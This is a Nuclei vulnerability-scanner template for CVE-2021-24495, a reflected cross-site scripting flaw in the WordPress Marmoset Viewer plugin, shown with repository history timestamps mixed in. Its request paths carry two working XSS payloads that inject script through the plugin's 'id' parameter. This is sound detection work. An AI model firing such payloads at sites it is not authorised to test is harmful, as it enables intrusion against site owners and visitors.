nuclei-templates/cves/2021/CVE-2021-24495.yaml

34 lines
1.1 KiB
YAML
Raw Normal View History

id: CVE-2021-24495
info:
name: Wordpress Plugin Marmoset Viewer XSS
author: johnjhacking
severity: medium
tags: cve,cve2021,wp-plugin,wordpress,xss
2021-07-06 06:42:09 +00:00
reference: |
- https://johnjhacking.com/blog/cve-2021-24495-improper-neutralization-of-input-during-web-page-generation-on-id-parameter-in-wordpress-marmoset-viewer-plugin-versions-1.9.3-leads-to-reflected-cross-site-scripting/
- https://wordpress.org/plugins/marmoset-viewer/#developers
requests:
- method: GET
path:
2021-06-30 12:54:34 +00:00
- "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=http://</script><svg/onload=alert(%27{{randstr}}%27)>"
- "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=1+http://a.com%27);alert(/{{randstr}}/);marmoset.embed(%27a"
matchers-condition: and
matchers:
- type: status
status:
- 200
2021-07-06 06:33:51 +00:00
- type: word
words:
2021-06-30 12:54:34 +00:00
- "</script><svg/onload=alert('{{randstr}}')>"
- "alert(/{{randstr}}/)"
part: body
2021-07-06 06:33:51 +00:00
condition: or
- type: word
words:
- "Marmoset Viewer"